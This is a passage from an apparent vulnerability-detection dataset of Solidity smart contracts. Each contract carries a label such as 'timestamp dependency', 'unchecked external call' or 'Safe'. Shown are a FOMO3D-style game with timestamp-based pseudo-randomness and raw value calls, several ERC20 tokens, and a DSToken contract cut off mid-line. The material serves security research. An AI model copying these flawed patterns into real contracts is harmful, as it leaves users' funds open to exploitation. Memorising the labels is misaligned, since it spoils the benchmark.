(_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 10); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); shareCom.transfer((_com / 2)); admin.transfer((_com / 2)); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = 0; _eventData_.newPot = _res; emit F3Devents.onEndRound ( _rID, plyr_[_winPID].addr, plyr_[_winPID].name, _win, _res ); rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _rndInc = rndInc_; if(round_[_rID].pot > rndLimit_) { _rndInc = _rndInc / 2; } uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 10; uint256 _p3d; if (address(admin).call.value((_com / 2))() == false) { _p3d = _com / 2; _com = _com / 2; } if (address(shareCom).call.value((_com / 2))() == false) { _p3d += (_com / 2); _com = _com.sub(_com / 2); } _p3d = _p3d.add(distributeAff(_rID,_pID,_eth,_affID)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; uint256 _amount = _p3d.sub(_potAmount); shareCom.transfer((_amount / 2)); admin.transfer((_amount / 2)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function distributeAff(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID) private returns(uint256) { uint256 _addP3d = 0; uint256 _aff1 = _eth / 10; uint256 _aff2 = _eth / 20; uint256 _aff3 = _eth / 34; groupCut.transfer(_aff1); if ((_affID != 0) && (_affID != _pID) && (plyr_[_affID].name != '')) { plyr_[_pID].laffID = _affID; plyr_[_affID].aff = _aff2.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff2, now); uint256 _secLaff = plyr_[_affID].laffID; if((_secLaff != 0) && (_secLaff != _pID)) { plyr_[_secLaff].aff = _aff3.add(plyr_[_secLaff].aff); emit F3Devents.onAffiliatePayout(_secLaff, plyr_[_secLaff].addr, plyr_[_secLaff].name, _rID, _pID, _aff3, now); } else { _addP3d = _addP3d.add(_aff3); } } else { _addP3d = _addP3d.add(_aff2); } return(_addP3d); } function getPlayerAff(uint256 _pID) public view returns (uint256,uint256,uint256) { uint256 _affID = plyr_[_pID].laffID; if (_affID != 0) { uint256 _secondLaff = plyr_[_affID].laffID; if(_secondLaff != 0) { uint256 _thirdAff = plyr_[_secondLaff].laffID; } } return (_affID,_secondLaff,_thirdAff); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(_eth.mul(29) / 100); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; uint256 laffID; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/timestamp dependency (TP)/,6,6 0x00e9bcfab52c108505411849faba90e83c98101b_GTSTOKEN.sol,"pragma solidity ^0.4.11; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract DestoryBasic { address destoryAddress; function setDestoryAddress(address _destory) { destoryAddress = _destory; } function ifDestory(address from) returns (bool) { if (from == destoryAddress) { return true; } return false; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic,DestoryBasic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { if(ifDestory(msg.sender)) throw; balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { if(ifDestory(msg.sender)) throw; var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw ; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title GTSTOKEN */ contract GTSTOKEN is StandardToken,Ownable { using SafeMath for uint; string public name = ""GTSTOKEN""; string public symbol = ""GTS""; uint public decimals = 9; uint public totalSupply = 10000000000 * (10 ** decimals); uint lockTotal = 4000000000 * (10 ** decimals); uint public releaseTotal = 500000000 * (10 ** decimals); uint lockTime = 0;//last lock time function GTSTOKEN (address admin_) { lockTime = 1518192000;//2018/2/10 0:0:0 owner = admin_; setDestoryAddress(address(0x0)); balances[admin_] = totalSupply - lockTotal; } function release() onlyOwner { if (lockTime + 1 years > now) { throw; } if ( lockTotal == 0 ) { throw; } lockTotal = lockTotal.sub(releaseTotal); balances[owner] = balances[owner].add(releaseTotal); lockTime = lockTime + 1 years; return; } }",Safe,8,8 33921.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 8888888800000000; // Give the creator all initial tokens (100000 for example) totalSupply = 8888888800000000; // Update total supply (100000 for example) name = ""DojoCoin""; // Set the name for display purposes decimals = 8; // Amount of decimals for display purposes symbol = ""DOJO""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x047187e53477be70dbe8ea5b799318f2e165052f_OMT.sol,"pragma solidity ^0.4.17; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() public { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } contract DSStop is DSNote, DSAuth { bool public stopped; modifier stoppable { require(!stopped); _; } function stop() public auth note { stopped = true; } function start() public auth note { stopped = false; } } contract ERC20 { function totalSupply() public view returns (uint supply); function balanceOf( address who ) public view returns (uint value); function allowance( address owner, address spender ) public view returns (uint _allowance); function transfer( address to, uint value) public returns (bool ok); function transferFrom( address from, address to, uint value) public returns (bool ok); function approve( address spender, uint value ) public returns (bool ok); event Transfer( address indexed from, address indexed to, uint value); event Approval( address indexed owner, address indexed spender, uint value); } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called ""exponentiation by squaring"" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } contract DSTokenBase is ERC20, DSMath { uint256 _supply; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _approvals; function DSTokenBase(uint supply) public { _balances[msg.sender] = supply; _supply = supply; } function totalSupply() public view returns (uint) { return _supply; } function balanceOf(address src) public view returns (uint) { return _balances[src]; } function allowance(address src, address guy) public view returns (uint) { return _approvals[src][guy]; } function transfer(address dst, uint wad) public returns (bool) { return transferFrom(msg.sender, dst, wad); } function transferFrom(address src, address dst, uint wad) public returns (bool) { if (src != msg.sender) { _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); } _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); Transfer(src, dst, wad); return true; } function approve(address guy, uint wad) public returns (bool) { _approvals[msg.sender][guy] = wad; Approval(msg.sender, guy, wad); return true; } } contract DSToken is DSTokenBase(0), DSStop { mapping (address => mapping (address => bool)) _trusted; bytes32 public symbol; uint256 public decimals = 18; // standard token precision. override to customize function DSToken(bytes32 symbol_) public { symbol = symbol_; } event Trust(address indexed src, address indexed guy, bool wat); event Mint(address indexed guy, uint wad); event Burn(address indexed guy, uint wad); function trusted(address src, address guy) public view returns (bool) { return _trusted[src][guy]; } function trust(address guy, bool wat) public stoppable { _trusted[msg.sender][guy] = wat; Trust(msg.sender, guy, wat); } function approve(address guy, uint wad) public stoppable returns (bool) { return super.approve(guy, wad); } function transferFrom(address src, address dst, uint wad) public stoppable returns (bool) { if (src != msg.sender && !_trusted[src][msg.sender]) { _approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad); } _balances[src] = sub(_balances[src], wad); _balances[dst] = add(_balances[dst], wad); Transfer(src, dst, wad); return true; } function push(address dst, uint wad) public { transferFrom(msg.sender, dst, wad); } function pull(address src, uint wad) public { transferFrom(src, msg.sender, wad); } function move(address src, address dst, uint wad) public { transferFrom(src, dst, wad); } function mint(uint wad) public { mint(msg.sender, wad); } function burn(uint wad) public { burn(msg.sender, wad); } function mint(address guy, uint wad) public auth stoppable { _balances[guy] = add(_balances[guy], wad); _supply = add(_supply, wad); Mint(guy, wad); } function burn(address guy, uint wad) public auth stoppable { if (guy != msg.sender && !_trusted[guy][msg.sender]) { _approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad); } _balances[guy] = sub(_balances[guy], wad); _supply = sub(_supply, wad); Burn(guy, wad); } // Optional token name bytes32 public name = """"; function setName(bytes32 name_) public auth { name = name_; } } /// @title ERC223ReceivingContract - Standard contract implementation for compatibility with ERC223 tokens. contract ERC223ReceivingContract { /// @dev Function that is called when a user or another contract wants to transfer funds. /// @param _from Transaction initiator, analogue of msg.sender /// @param _value Number of tokens to transfer. /// @param _data Data containig a function signature and/or parameters function tokenFallback(address _from, uint256 _value, bytes _data) public; /// @dev For ERC20 backward compatibility, same with above tokenFallback but without data. /// The function execution could fail, but do not influence the token transfer. /// @param _from Transaction initiator, analogue of msg.sender /// @param _value Number of tokens to transfer. // function tokenFallback(address _from, uint256 _value) public; } /// @dev The token controller contract must implement these functions contract TokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) payable public returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) public returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { if (msg.sender != controller) throw; _; } address public controller; function Controlled() { controller = msg.sender;} /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) onlyController { controller = _newController; } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data); } contract ERC223 { function transfer(address to, uint amount, bytes data) public returns (bool ok); function transferFrom(address from, address to, uint256 amount, bytes data) public returns (bool ok); function transfer(address to, uint amount, bytes 